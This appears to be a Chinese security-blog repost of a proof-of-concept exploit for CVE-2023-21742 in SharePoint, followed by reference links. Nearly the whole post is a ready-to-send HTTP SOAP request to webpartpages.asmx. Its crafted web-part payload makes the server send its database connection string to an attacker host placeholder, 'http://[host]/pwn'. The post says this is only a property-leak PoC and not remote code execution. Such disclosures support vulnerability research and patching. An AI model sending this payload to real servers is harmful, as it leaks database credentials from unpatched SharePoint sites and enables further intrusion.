CVE-2023-21742 POC
2023-4-11 12:37:29 Author: Ots安全(查看原文) 阅读量:30 收藏

概念验证

注意:泄漏属性/属性只是一个 PoC,而不是 RCE EXP。

POST /_vti_bin/webpartpages.asmx HTTP/1.1Host: splab13SOAPAction: http://microsoft.com/sharepoint/webpartpages/ConvertWebPartFormatUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0Connection: keep-aliveContent-Type: text/xml; charset=utf-8Content-Length: 1733
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ConvertWebPartFormat xmlns="http://microsoft.com/sharepoint/webpartpages"><inputFormat><![CDATA[<%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPages" Assembly="Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <%@ Register TagPrefix="att" Namespace="Microsoft.SharePoint.WebControls" Assembly="Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %><WebPartPages:WebPartZone id="id00" runat="server"><ZoneTemplate>
<WebPartPages:XsltListFormWebPart id="id01" runat="server"> <XmlDefinitionLink>http://webdb.com/aaaa</XmlDefinitionLink> <DataSources> <att:SoapDataSource runat="server" SelectUrl="http://[host]/pwn"> <SelectCommand> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <leakeddata>{leak}</leakeddata> </soap:Body> </soap:Envelope> </SelectCommand> <SelectParameters> <WebPartPages:DataFormParameter Name="leak" PropertyName="Parent.Controls[1].Controls[0].Web.Site.ContentDatabase.DatabaseConnectionString" DefaultValue="NULL"/> </SelectParameters> </att:SoapDataSource> </DataSources> </WebPartPages:XsltListFormWebPart><att:TemplateContainer runat="server" id="f01" /></ZoneTemplate></WebPartPages:WebPartZone>
]]></inputFormat></ConvertWebPartFormat></soap:Body></soap:Envelope>

参考

  • https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-sharepoint-webpart-property-traversal-cve-2022- 38053-cve-2023-21742-bc6931698a5f

  • https://nvd.nist.gov/vuln/detail/CVE-2023-21742


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247497227&idx=1&sn=9057ca2993c17a310ca65166749f2d74&chksm=9badbf40acda36565a4efcd5d115973cea947a201a18c28c64948ec5cb5dfcddb9b224ef5da1#rd
如有侵权请联系:admin#unsafe.sh